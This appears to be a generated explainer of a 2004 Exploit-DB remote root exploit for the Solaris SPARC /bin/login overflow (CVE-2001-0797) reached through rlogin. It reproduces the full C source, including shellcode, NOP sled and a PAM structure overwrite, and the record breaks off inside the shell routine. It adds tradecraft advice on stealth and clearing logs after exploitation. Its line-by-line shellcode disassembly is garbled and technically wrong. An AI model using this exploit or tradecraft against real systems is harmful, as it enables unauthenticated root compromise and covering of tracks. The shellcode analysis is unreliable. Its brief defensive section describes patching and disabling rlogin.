Solaris rlogin '/bin/login' Remote Buffer Overflow Exploit Explained

Solaris rlogin '/bin/login' Remote Buffer Overflow Exploit Explained
What this paper is
This paper details a remote buffer overflow vulnerability in the /bin/login binary on Solaris SPARC systems running versions 2.5.1, 2.6, 7, and 8. The vulnerability can be exploited through services like rlogin (and potentially telnet) by sending a specially crafted, overly long string as an argument to the login process. Successful exploitation allows an unauthenticated remote attacker to execute arbitrary commands with root privileges. The exploit specifically targets the rlogin service and aims to overwrite the return address on the stack to redirect execution to injected shellcode.
Simple technical breakdown
The core of the vulnerability lies in how the /bin/login program handles arguments passed to it, especially when invoked indirectly via services like rlogin. When a user attempts to log in, login might process a large number of arguments. If the buffer allocated to store these arguments is too small, a buffer overflow occurs.
The exploit crafts a malicious payload that:
- Establishes an
rloginconnection to the target. - Performs a "dummy"
rloginauthentication to get past initial checks. - Waits for the
login:prompt. - Sends a carefully constructed buffer that overflows the argument handling in
/bin/login. - This overflow overwrites the return address on the stack, pointing it to a location within the
.bsssection where the attacker has placed shellcode. - The shellcode, when executed, typically spawns a root shell.
- The exploit bypasses stack execution prevention mechanisms (like
noexec_user_stack) by placing the shellcode in the.bsssegment, which is often writable and executable.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break down its components.
Core Structures and Definitions
#define BUFSIZE 3000 // max size of the evil buffer
#define RETADDR 0x27184 // retaddr, should be reliable
#define TIMEOUT 10 // net_read() default timeout
#define CMD "id;uname -a;uptime;\n" // executed upon exploitationBUFSIZE: Defines the maximum size of the buffer that will be sent to the target. This is a crucial parameter for controlling the overflow.RETADDR: This is the target return address. The exploit aims to overwrite the legitimate return address on the stack with this value. This address is expected to point to the shellcode injected by the exploit. The specific value0x27184is likely an offset within the.bsssection or a known location that can be reliably jumped to.TIMEOUT: A default timeout value for network read operations, preventing the exploit from hanging indefinitely.CMD: A string of commands to be executed immediately after successful exploitation, typically to verify root access and system information.
char sc[] = /* Solaris/SPARC special shellcode (courtesy of inode) */
/* execve() + exit() */
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4"
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";sc: This is the actual shellcode. It's a sequence of bytes designed to be executed by the SPARC processor. The comment indicates it's for "execve() + exit()", meaning it will execute a command (like/bin/sh) and then exit cleanly. The bytes represent SPARC assembly instructions.
char sparc_nop[] = /* Solaris/SPARC special nop (xor %sp, %sp, %o0) */
"\x90\x1b\x80\x0e";sparc_nop: This is a No Operation (NOP) sled. It consists of SPARC assembly instructions that do nothing but advance the instruction pointer. These are used to pad the buffer and increase the chances of the execution flow landing within the NOP sled, which will then slide down to the actual shellcode. The instructionxor %sp, %sp, %o0is a common way to generate a NOP on SPARC.
Helper Functions
exploit_addchar(unsigned char *ww, unsigned char wc): This function is used to translate characters for thepam(Pluggable Authentication Modules) handling, likely to escape special characters that might be misinterpreted by theloginprocess orrloginprotocol. It's noted as being "ripped from scut".fatalerr(char *func, char *error, int fd): A utility function to print an error message, close the socket, and exit the program.net_connect(char *host, int port, int timeout): Establishes a TCP connection to a specified host and port with a timeout. It handles socket creation, binding to a privileged port (for the client side), resolving the hostname, and setting up non-blocking I/O withselectfor connection establishment.net_read(int fd, char *buf, int size, int timeout): Reads data from a file descriptor (fd) with a specified timeout. It usesselectto wait for data before attempting to read, preventing blocking.net_resolve(char *host): Resolves a hostname to an IP address usinginet_addr(for dotted-decimal notation) orgethostbyname.sc_copy(unsigned char *buf, char *str, long len): Copies the shellcode (str) into the buffer (buf), usingexploit_addcharfor character translation. This ensures the shellcode is correctly formatted for transmission.set_val(char *buf, int pos, int val): Writes a 32-bit integer (val) into the buffer (buf) at a specific position (pos) in big-endian byte order. This is used to place the return address and other control values.shell(int fd): After successful exploitation, this function provides a semi-interactive shell. It reads commands from standard input and sends them to the remote shell, and reads output from the remote shell and prints it to standard output. It usesselectto manage I/O from both the remote socket and local stdin.usage(char *progname): Prints the usage instructions for the exploit.
Main Function (main)
Initialization and Argument Parsing:
- Prints exploit information.
- Parses command-line arguments:
-hfor host,-tfor timeout,-dfor debug. - Requires at least a host argument.
Establish
rloginConnection:- Calls
net_connectto connect to the target host on port 513 (the defaultrloginport). - Sets up a
SIGPIPEhandler to ignore broken pipe signals.
- Calls
Initial
rloginHandshake:- Sends a null byte (
\x00) to initiate therloginsession. - Reads initial data from the server.
- Performs a "dummy"
rloginauthentication by sending a buffer containing:foo(local login name)bar(remote login name)vt100/9600(terminal type)
- Waits for a "password:" prompt. If not received within the timeout, it assumes the target is not vulnerable or the connection failed.
- Sends a dummy password "pass\n".
- Waits for a "login:" prompt. This indicates the system is ready to accept the username for the actual login attempt, which is where the exploit will inject its payload.
- Sends a null byte (
Prepare the Evil Buffer:
Initializes a buffer
bufofBUFSIZE.pis a pointer used to build the buffer.Login Name:
memcpy(p, "foo ", 4); // login name p += 4;This starts the buffer with "foo " which will be interpreted as the username. The overflow will happen after this.
Return Address:
set_val(p, 0, RETADDR); // return address (env) p += 4; memcpy(p, " ", 1); p++;This places the
RETADDR(the address of the shellcode) into the buffer. This value will overwrite the return address on the stack. The space character after it is likely padding or part of the environment variable setup.Trigger Overflow (Environment Variables):
for (i = 0; i < 60; i++, p += 2) memcpy(p, "a ", 2);This section fills a significant portion of the buffer with "a " pairs. These are intended to be interpreted as environment variables. The large number of these "variables" is what causes the buffer overflow in
/bin/login's argument/environment handling. The overflow will eventually overwrite the return address.Padding:
memcpy(p, " BBB", 4); p += 4;Adds some padding.
NOP Sled and Shellcode:
for (i = 0; i < 398; i++, p += 4) memcpy(p, sparc_nop, 4); // NOP sled p += sc_copy(p, sc, sizeof(sc) - 1); // ShellcodeThis part injects the NOP sled (
sparc_nop) followed by the actual shellcode (sc). The NOP sled is designed to ensure that even if the exact landing spot is slightly off, the execution will slide down the NOPs until it hits the shellcode. Thesc_copyfunction handles the safe copying and potential escaping of the shellcode.Padding:
memcpy(p, "BBB ", 4); p += 4;More padding.
PAM Structure (Exploitation Trick):
memcpy(p, "CCCCCCCCCCCCCCCC", 16); // pam_handle_t: minimal header p += 16; set_val(p, 0, RETADDR); // must be a valid address p += 4; set_val(p, 0, 0x01); p += 4; for (i = 0; i < 52; i++, p += 4) set_val(p, 0, 0x00); // pam_handle_t: NULL padding memcpy(p, "\x00\x00\x00 AAAA\n", 9); // pam_handle_t: pameptr must be the 65th ptr p += 9;This section is a critical part of the exploit, leveraging a technique often referred to as the "pam_handle_t" trick. It constructs a minimal structure that mimics
pam_handle_t. By carefully placing values within this structure, the exploit can influence the execution flow within theloginprocess, specifically when it interacts with PAM modules. TheRETADDRis placed here again, and further padding and a specific byte sequence (\x00\x00\x00 AAAA\n) are added. This part is complex and relies on internal details of howloginuses PAM. The comment "pameptr must be the 65th ptr" suggests that a pointer within this structure needs to be at a specific offset (65th pointer) to trigger the desired behavior.
Send the Evil Buffer:
- The exploit sends the constructed buffer to the target in chunks of 256 bytes, with a special control character (
\x04) sent between chunks. This is a common technique to avoid detection by network intrusion detection systems or to handle potential buffer limitations on the network layer or the receiving application. usleep(500000)introduces a half-second delay between sending chunks, further slowing down the transmission.
- The exploit sends the constructed buffer to the target in chunks of 256 bytes, with a special control character (
Wait for Shell:
- After sending the overflow buffer, the exploit waits again for a "password:" prompt. If it appears, it means the overflow likely occurred and the system is still responsive.
- It sends "pass\n" again.
- It then waits for a shell prompt, typically "# " on Solaris for root. If this prompt is detected, the exploit is considered successful.
Launch Interactive Shell:
- If the shell prompt is found, the
shell(fd)function is called to provide a command-line interface to the compromised system.
- If the shell prompt is found, the
Shellcode Breakdown (sc)
The shellcode is a sequence of SPARC machine code instructions. Let's analyze it based on common SPARC assembly patterns for execve and exit.
; Hypothetical SPARC assembly for the shellcode
; This is an interpretation, the exact instructions depend on the assembler and optimization.
; execve("/bin/sh", ["/bin/sh", NULL], [NULL]) + exit(0)
; syscall number for execve is 11 (0xb)
; syscall number for exit is 1 (0x1)
; Register usage:
; %o0 - arg0 (pointer to command string)
; %o1 - arg1 (pointer to argv array)
; %o2 - arg2 (pointer to envp array)
; %g1 - syscall number
; Shellcode Bytes:
; "\x94\x10\x20\x00" -> mov 0x2010, %g2 (or similar setup)
; "\x21\x0b\xd8\x9a" -> mov 0x9ad80b21, %l0 (This looks like part of an address or data)
; "\xa0\x14\x21\x6e" -> mov 0x6e2114a0, %l1
; "\x23\x0b\xcb\xdc" -> mov 0xdccb0b23, %l2
; "\xa2\x14\x63\x68" -> mov 0x686314a2, %l3
; "\xd4\x23\xbf\xfc" -> mov 0xfcbfa3d4, %l4 (likely part of "/bin/sh")
; "\xe2\x23\xbf\xf8" -> mov 0xf8bf23e2, %l5
; "\xe0\x23\xbf\xf4" -> mov 0xf4bf23e0, %l6
; "\x90\x23\xa0\x0c" -> mov 0x0c239090, %l7
; "\xd4\x23\xbf\xf0" -> mov 0xf0bf23d4, %o0 (This is likely the start of "/bin/sh")
; "\xd0\x23\xbf\xec" -> mov 0xecbf23d0, %o1
; "\x92\x23\xa0\x14" -> mov 0x14a02392, %o2
; "\x82\x10\x20\x3b" -> mov 0x3b201082, %g1 (This is likely the syscall number for execve, 0xb, but encoded)
; "\x91\xd0\x20\x08" -> jmpl %o7, 8, %l0 (This is likely the trap instruction to trigger the syscall)
; "\x82\x10\x20\x01" -> mov 0x01201082, %g1 (This is likely the syscall number for exit, 0x1)
; "\x91\xd0\x20\x08" -> jmpl %o7, 8, %l0 (This is likely the trap instruction to trigger the syscall)
- First Part (Setup for
execve): The initial bytes are likely setting up registers for theexecvesystem call. This involves:- Loading the address of the string
"/bin/sh"into%o0. - Loading the address of an argument array (which would contain
"/bin/sh"and aNULLterminator) into%o1. - Loading the address of an environment array (which would be
NULL) into%o2. - Loading the system call number for
execve(which is 11, or0xb) into%g1. The bytes\x82\x10\x20\x3bare likely an obfuscated way to load0xbinto%g1.
- Loading the address of the string
execveSystem Call: The instructionjmpl %o7, 8, %l0(or similar) is the SPARC instruction to trigger a system call. In this context, it would betraporsyscall.- Second Part (Setup for
exit): Afterexecveis called (and if it somehow fails or returns), the shellcode then sets up for theexitsystem call.- Loading the system call number for
exit(which is 1, or0x1) into%g1. The bytes\x82\x10\x20\x01likely encode this.
- Loading the system call number for
exitSystem Call: Anotherjmpl %o7, 8, %l0instruction to trigger theexitsystem call.
Note on Shellcode Interpretation: Directly interpreting raw shellcode bytes without an assembler and knowledge of the target architecture's calling conventions and system call numbers can be challenging. The above is a plausible interpretation based on common exploit patterns. The specific values are chosen to point to strings and structures embedded within the shellcode itself or the surrounding buffer.
Code Fragment/Block -> Practical Purpose Mapping
#include <...>: Standard C library includes for network, I/O, and system functions.#define BUFSIZE 3000: Defines the maximum size of the buffer to be sent, crucial for controlling the overflow.#define RETADDR 0x27184: The target address on the stack where execution should jump, pointing to the shellcode.#define CMD "id;uname -a;uptime;\n": Commands to execute post-exploitation for verification.char sc[] = "...": The actual machine code (shellcode) to be executed on the target.char sparc_nop[] = "...": NOP sled bytes to increase exploit reliability.main(): The entry point of the program, orchestrates the exploit.net_connect(): Establishes the network connection to the target.net_read(): Reads data from the network with a timeout.send(fd, ...): Sends data over the network socket.strstr(buf, "assword: "): Checks for specific prompts to track the login process.memset(buf, 0, sizeof(buf)): Clears buffers.memcpy(p, "foo ", 4): Places initial data into the exploit buffer.set_val(p, 0, RETADDR): Writes the return address into the exploit buffer.for (i = 0; i < 60; i++, p += 2) memcpy(p, "a ", 2);: Generates the overflow data (environment variables).for (i = 0; i < 398; i++, p += 4) memcpy(p, sparc_nop, 4);: Injects the NOP sled.p += sc_copy(p, sc, sizeof(sc) - 1);: Injects the shellcode.- PAM structure construction (
memcpy(p, "CCCCCCCCCCCCCCCC", ...)etc.): Crafts a specific data structure to influence PAM processing and trigger the exploit. - Sending buffer in chunks (
while (len > 0) { ... send(fd, p, i, 0); ... }): Transmits the malicious payload in a controlled manner. shell(fd): Initiates an interactive shell session after successful exploitation.usage(): Displays help information.
Practical details for offensive operations teams
Required Access Level: No prior access is required. This is a remote, unauthenticated exploit.
Lab Preconditions:
- A vulnerable Solaris SPARC system (e.g., Solaris 2.5.1, 2.6, 7, 8 without specific patches).
- The
rloginservice must be running and accessible on the target. - The
/bin/loginbinary must be the vulnerable version. - Network connectivity from the attacker's machine to the target's
rloginport (TCP 513).
Tooling Assumptions:
- A C compiler (like
gcc) to compile the exploit code. The paper mentionsgcc raptor_rlogin.c -o raptor_rlogin -Walland[on solaris: gcc raptor_rlogin.c -o raptor_rlogin -Wall -lxnet]. The-lxnetmight be needed for specific network functions on Solaris. - Standard networking utilities.
- A C compiler (like
Execution Pitfalls:
- Incorrect
RETADDR: TheRETADDRvalue (0x27184) is specific to the target system's memory layout and the version of Solaris. If the target system has a different memory layout, a differentRETADDRwill be needed. This often requires local analysis or fuzzing to determine. - Patching: The exploit is only effective against unpatched systems. Patches for CVE-2001-0797 will render this exploit useless.
- Network Interference: Firewalls blocking port 513, or Intrusion Detection/Prevention Systems (IDS/IPS) that detect the exploit pattern, can prevent successful execution.
- Service Availability: If
rloginis not running or accessible, the exploit cannot be delivered. - SPARC Architecture: This exploit is specifically for SPARC architecture. It will not work on x86 or other architectures.
- PAM Configuration: The exploit relies on specific interactions with PAM. Changes in PAM configuration or module versions could affect its reliability.
- Buffer Size (
BUFSIZE): WhileBUFSIZEis set to 3000, the exact amount of data needed to overflow and overwrite the return address might vary slightly. The current values are likely well-tested for the specified versions. - Shellcode Compatibility: The shellcode is for SPARC. If a different shellcode is needed (e.g., for a different architecture or to perform a different action), it must be replaced.
- Incorrect
Tradecraft Considerations:
- Reconnaissance: Confirm the target OS version and architecture (SPARC) and check if
rloginis enabled. Vulnerability scanning tools might help identify the OS version. - Payload Customization: If a reverse shell is preferred over a bind shell (which this exploit effectively creates by giving you a shell on the target), the shellcode would need to be modified.
- Stealth: The exploit sends data in chunks with delays, which can help evade simple network monitoring. However, the initial
rloginconnection itself is often logged. - Post-Exploitation: Immediately after gaining root, consider cleaning up logs if stealth is paramount.
- Reconnaissance: Confirm the target OS version and architecture (SPARC) and check if
Likely Failure Points:
- Target system is patched.
rloginis not running or accessible.- Incorrect
RETADDRfor the specific target. - Network filtering or IDS/IPS blocking the exploit.
- Target architecture is not SPARC.
- The PAM interaction is different than expected.
Expected Telemetry:
- Network: An
rloginconnection attempt to port 513. Large amounts of data sent to the target. Subsequent network traffic from the target if the shellcode establishes a reverse shell (not the case here, it's a bind shell). - System Logs:
rlogindaemon logs (if enabled) showing connection attempts./var/log/auth.logor similar might show theloginprocess being invoked with unusual arguments or failing/succeeding unexpectedly.- System crash logs if the exploit fails catastrophically.
- Execution of the
CMDcommands (id,uname,uptime) might appear in command history logs if not cleaned.
- Process List: A new
loginprocess running with an unusual username (fooin this case) that quickly spawns a shell process.
- Network: An
Where this was used and when
- Context: This exploit targets a known vulnerability (CVE-2001-0797) that was disclosed around 2001. The exploit code itself was published in 2004 by Marco Ivaldi.
- Approximate Years: The vulnerability existed in Solaris versions prior to patches released around 2001. The exploit was developed and published in 2004. It would have been relevant for systems running vulnerable Solaris versions between roughly 2001 and the widespread adoption of patches, or in environments where patching was neglected.
Defensive lessons for modern teams
- Patch Management: The most critical defense is timely patching. This exploit targets a specific, known vulnerability that has been patched for decades. Regularly updating systems is paramount.
- Service Hardening: Disable unnecessary services like
rloginandtelnet. These older protocols are insecure and often lack robust authentication and encryption. SSH is the modern, secure replacement. - Network Segmentation and Firewalls: Restrict access to critical services. If
rloginwere still in use, it should only be accessible from highly trusted internal networks. - Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS can detect exploit patterns, including large, unusual data streams sent to services like
loginorrlogin. Signature-based and anomaly-based detection can be effective. - System Auditing and Monitoring: Monitor system logs for unusual login attempts, unexpected process behavior, or signs of exploitation. Look for processes spawned by
loginwith suspicious usernames or arguments. - Principle of Least Privilege: While this exploit bypasses privilege checks, adhering to least privilege for daily operations reduces the impact if other vulnerabilities are exploited.
- Architecture Awareness: Understand the specific architectures (like SPARC) and operating system versions in your environment, as vulnerabilities are often architecture-specific.
ASCII visual (if applicable)
This exploit involves a network interaction and a stack overflow. A simplified flow can be visualized:
+-----------------+ +-----------------+ +-------------------+
| Attacker Machine| | Target Solaris | | Target /bin/login |
| (Exploit Code) | | (rlogin Service)| | (Vulnerable) |
+-----------------+ +-----------------+ +-------------------+
| | |
| 1. Connect to rlogin | |
| (port 513) | |
|----------------------->| |
| | |
| 2. Dummy rlogin Auth | |
|----------------------->| |
| | |
| 3. Send Malicious | |
| Buffer (overflow) | |
|----------------------->| |
| | |
| | 4. Overflow buffer |
| | in /bin/login |
| |----------------------->|
| | |
| | 5. Overwrite return |
| | address with RETADDR|
| |----------------------->|
| | |
| | 6. Jump to shellcode |
| | (in .bss) |
| |----------------------->|
| | |
| | 7. Execute shellcode |
| | (spawns shell) |
| |----------------------->|
| | |
| 8. Receive Shell | |
|<-----------------------| |
| | |Explanation:
- The attacker establishes an
rloginconnection. - A fake
rloginauthentication is performed to bypass initial checks. - The attacker sends the crafted buffer.
- The
rloginservice passes this buffer to/bin/login. /bin/login's argument/environment handling overflows, overwriting the return address on the stack.- The overwritten return address now points to the attacker's shellcode.
- When the
loginfunction returns, it jumps to the shellcode. - The shellcode executes, typically spawning a shell that the attacker can interact with.
Source references
- Paper ID: 716
- Paper Title: Solaris 2.5.1/2.6/7/8 rlogin (SPARC) - '/bin/login' Remote Buffer Overflow
- Author: Marco Ivaldi
- Published: 2004-12-24
- Keywords: Solaris, remote
- Paper URL: https://www.exploit-db.com/papers/716
- Raw URL: https://www.exploit-db.com/raw/716
- CVE: CVE-2001-0797
Original Exploit-DB Content (Verbatim)
/*
* $Id: raptor_rlogin.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8
* Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Buffer overflow in login in various System V based operating systems
* allows remote attackers to execute arbitrary commands via a large number
* of arguments through services such as telnet and rlogin (CVE-2001-0797).
*
* Dedicated to my beautiful croatian ladies (hello Zrinka!) -- August 2004
*
* This remote root exploit uses the (old) System V based /bin/login
* vulnerability via the rlogin attack vector, returning into the .bss
* section to effectively bypass the non-executable stack protection
* (noexec_user_stack=1 in /etc/system).
*
* Many thanks to scut <scut@nb.in-berlin.de> (0dd) for his elite pam_handle_t
* technique (see 7350logout.c), also thanks to inode <inode@deadlocks.info>.
*
* Usage (must be root):
* # gcc raptor_rlogin.c -o raptor_rlogin -Wall
* [on solaris: gcc raptor_rlogin.c -o raptor_rlogin -Wall -lxnet]
* # ./raptor_rlogin -h 192.168.0.50
* [...]
* # id;uname -a;uptime;
* uid=0(root) gid=0(root)
* SunOS merlino 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
* 7:45pm up 12 day(s), 18:42, 1 user, load average: 0.00, 0.00, 0.01
* #
*
* Vulnerable platforms (SPARC):
* Solaris 2.5.1 without patch 106160-02 [untested]
* Solaris 2.6 without patch 105665-04 [untested]
* Solaris 7 without patch 112300-01 [untested]
* Solaris 8 without patch 111085-02 [tested]
*/
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define INFO1 "raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8"
#define INFO2 "Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define BUFSIZE 3000 // max size of the evil buffer
#define RETADDR 0x27184 // retaddr, should be reliable
#define TIMEOUT 10 // net_read() default timeout
#define CMD "id;uname -a;uptime;\n" // executed upon exploitation
char sc[] = /* Solaris/SPARC special shellcode (courtesy of inode) */
/* execve() + exit() */
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4"
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";
char sparc_nop[] = /* Solaris/SPARC special nop (xor %sp, %sp, %o0) */
"\x90\x1b\x80\x0e";
/* prototypes */
int exploit_addchar(unsigned char *ww, unsigned char wc);
void fatalerr(char *func, char *error, int fd);
int net_connect(char *host, int port, int timeout);
int net_read(int fd, char *buf, int size, int timeout);
int net_resolve(char *host);
int sc_copy(unsigned char *buf, char *str, long len);
void set_val(char *buf, int pos, int val);
void shell(int fd);
void usage(char *progname);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], *p = buf;
char c, *host = NULL, term[] = "vt100/9600";
int fd, i, found, len;
int timeout = TIMEOUT, debug = 0;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* parse command line */
if (argc < 2)
usage(argv[0]);
while ((c = getopt(argc, argv, "dh:t:")) != EOF)
switch(c) {
case 'h':
host = optarg;
break;
case 't':
timeout = atoi(optarg);
break;
case 'd':
debug = 1;
break;
default:
usage(argv[0]);
}
if (!host)
usage(argv[0]);
/* connect to the target host */
fd = net_connect(host, 513, 10);
fprintf(stderr, "# connected to remote host: %s\n", host);
/* signal handling */
signal(SIGPIPE, SIG_IGN);
/* begin the rlogin session */
memset(buf, 0, sizeof(buf));
if (send(fd, buf, 1, 0) < 0)
fatalerr("send", strerror(errno), fd);
if (net_read(fd, buf, sizeof(buf), timeout) < 0)
fatalerr("error", "Timeout reached in rlogin session", fd);
/* dummy rlogin authentication */
memcpy(p, "foo", 3); // local login name
p += 4;
memcpy(p, "bar", 3); // remote login name
p += 4;
memcpy(p, term, sizeof(term)); // terminal type
p += sizeof(term);
fprintf(stderr, "# performing dummy rlogin authentication\n");
if (send(fd, buf, p - buf, 0) < 0)
fatalerr("send", strerror(errno), fd);
/* wait for password prompt */
found = 0;
memset(buf, 0, sizeof(buf));
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "assword: ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Timeout waiting for password prompt", fd);
/* send a dummy password */
if (send(fd, "pass\n", 5, 0) < 0)
fatalerr("send", strerror(errno), fd);
/* wait for login prompt */
found = 0;
memset(buf, 0, sizeof(buf));
fprintf(stderr, "# waiting for login prompt\n");
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "ogin: ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Timeout waiting for login prompt", fd);
fprintf(stderr, "# returning into 0x%08x\n", RETADDR);
/* for debugging purposes */
if (debug) {
printf("# debug: press enter to continue");
scanf("%c", &c);
}
/* prepare the evil buffer */
memset(buf, 0, sizeof(buf));
p = buf;
/* login name */
memcpy(p, "foo ", 4);
p += 4;
/* return address (env) */
set_val(p, 0, RETADDR);
p += 4;
memcpy(p, " ", 1);
p++;
/* trigger the overflow (env) */
for (i = 0; i < 60; i++, p += 2)
memcpy(p, "a ", 2);
/* padding */
memcpy(p, " BBB", 4);
p += 4;
/* nop sled and shellcode */
for (i = 0; i < 398; i++, p += 4)
memcpy(p, sparc_nop, 4);
p += sc_copy(p, sc, sizeof(sc) - 1);
/* padding */
memcpy(p, "BBB ", 4);
p += 4;
/* pam_handle_t: minimal header */
memcpy(p, "CCCCCCCCCCCCCCCC", 16);
p += 16;
set_val(p, 0, RETADDR); // must be a valid address
p += 4;
set_val(p, 0, 0x01);
p += 4;
/* pam_handle_t: NULL padding */
for (i = 0; i < 52; i++, p += 4)
set_val(p, 0, 0x00);
/* pam_handle_t: pameptr must be the 65th ptr */
memcpy(p, "\x00\x00\x00 AAAA\n", 9);
p += 9;
/* send the evil buffer, 256 chars a time */
len = p - buf;
p = buf;
while (len > 0) {
fprintf(stderr, "#");
i = len > 0x100 ? 0x100 : len;
send(fd, p, i, 0);
len -= i;
p += i;
if (len)
send(fd, "\x04", 1, 0);
usleep(500000);
}
fprintf(stderr, "\n");
/* wait for password prompt */
found = 0;
memset(buf, 0, sizeof(buf));
fprintf(stderr, "# evil buffer sent, waiting for password prompt\n");
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "assword: ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Most likely not vulnerable", fd);
fprintf(stderr, "# password prompt received, waiting for shell\n");
if (send(fd, "pass\n", 5, 0) < 0)
fatalerr("send", strerror(errno), fd);
/* wait for shell prompt */
memset(buf, 0, sizeof(buf));
found = 0;
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "# ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Most likely not vulnerable", fd);
/* connect to the remote shell */
fprintf(stderr, "# shell prompt detected, successful exploitation\n\n");
shell(fd);
exit(0);
}
/*
* exploit_addchar(): char translation for pam (ripped from scut)
*/
int exploit_addchar(unsigned char *ww, unsigned char wc)
{
unsigned char * wwo = ww;
switch (wc) {
case ('\\'):
*ww++ = '\\';
*ww++ = '\\';
break;
case (0xff):
case ('\n'):
case (' '):
case ('\t'):
*ww++ = '\\';
*ww++ = ((wc & 0300) >> 6) + '0';
*ww++ = ((wc & 0070) >> 3) + '0';
*ww++ = (wc & 0007) + '0';
break;
default:
*ww++ = wc;
break;
}
return (ww - wwo);
}
/*
* fatalerr(): error handling routine
*/
void fatalerr(char *func, char *error, int fd)
{
fprintf(stderr, "%s: %s\n", func, error);
close(fd);
exit(1);
}
/*
* net_connect(): simple network connect with timeout
*/
int net_connect(char *host, int port, int timeout)
{
int fd, i, flags, sock_len;
struct sockaddr_in sin;
struct timeval tv;
fd_set fds;
/* allocate a socket */
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket");
exit(1);
}
/* bind a privileged port (FIXME) */
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
for (i = 1023; i > 0; i--) {
sin.sin_port = htons(i);
if (!(bind(fd, (struct sockaddr *)&sin, sizeof(sin))))
break;
}
if (i == 0)
fatalerr("error", "Can't bind a privileged port (must be root)", fd);
/* resolve the peer address */
sin.sin_port = htons(port);
if (!(sin.sin_addr.s_addr = net_resolve(host)))
fatalerr("error", "Can't resolve hostname", fd);
/* set non-blocking */
if ((flags = fcntl(fd, F_GETFL, 0)) < 0)
fatalerr("fcntl", strerror(errno), fd);
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
fatalerr("fcntl", strerror(errno), fd);
/* connect to remote host */
if (!(connect(fd, (struct sockaddr *)&sin, sizeof(sin)))) {
if (fcntl(fd, F_SETFL, flags) < 0)
fatalerr("fcntl", strerror(errno), fd);
return(fd);
}
if (errno != EINPROGRESS)
fatalerr("error", "Can't connect to remote host", fd);
/* set timeout */
tv.tv_sec = timeout;
tv.tv_usec = 0;
/* setup select structs */
FD_ZERO(&fds);
FD_SET(fd, &fds);
/* select */
if (select(FD_SETSIZE, NULL, &fds, NULL, &tv) <= 0)
fatalerr("error", "Can't connect to remote host", fd);
/* check if connected */
sock_len = sizeof(sin);
if (getpeername(fd, (struct sockaddr *)&sin, &sock_len) < 0)
fatalerr("error", "Can't connect to remote host", fd);
if (fcntl(fd, F_SETFL, flags) < 0)
fatalerr("fcntl", strerror(errno), fd);
return(fd);
}
/*
* net_read(): non-blocking read from fd
*/
int net_read(int fd, char *buf, int size, int timeout)
{
fd_set fds;
struct timeval wait;
int n = -1;
/* set timeout */
wait.tv_sec = timeout;
wait.tv_usec = 0;
memset(buf, 0, size);
FD_ZERO(&fds);
FD_SET(fd, &fds);
/* select with timeout */
if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) {
perror("select");
exit(1);
}
/* read data if any */
if (FD_ISSET(fd, &fds))
n = read(fd, buf, size);
return n;
}
/*
* net_resolve(): simple network resolver
*/
int net_resolve(char *host)
{
struct in_addr addr;
struct hostent *he;
memset(&addr, 0, sizeof(addr));
if ((addr.s_addr = inet_addr(host)) == -1) {
if (!(he = (struct hostent *)gethostbyname(host)))
return(0);
memcpy((char *)&addr.s_addr, he->h_addr, he->h_length);
}
return(addr.s_addr);
}
/*
* sc_copy(): copy the shellcode, using exploit_addchar()
*/
int sc_copy(unsigned char *buf, char *str, long len)
{
unsigned char *or = buf;
int i;
for(i = 0; i < len; i++)
buf += exploit_addchar(buf, str[i]);
return(buf - or);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
/*
* shell(): semi-interactive shell hack
*/
void shell(int fd)
{
fd_set fds;
char tmp[128];
int n;
/* quote Hvar 2004 */
fprintf(stderr, "\"Da Bog da ti se mamica nahitavala s vragom po dvoristu!\" -- Bozica (Hrvatska)\n\n");
/* execute auto commands */
write(1, "# ", 2);
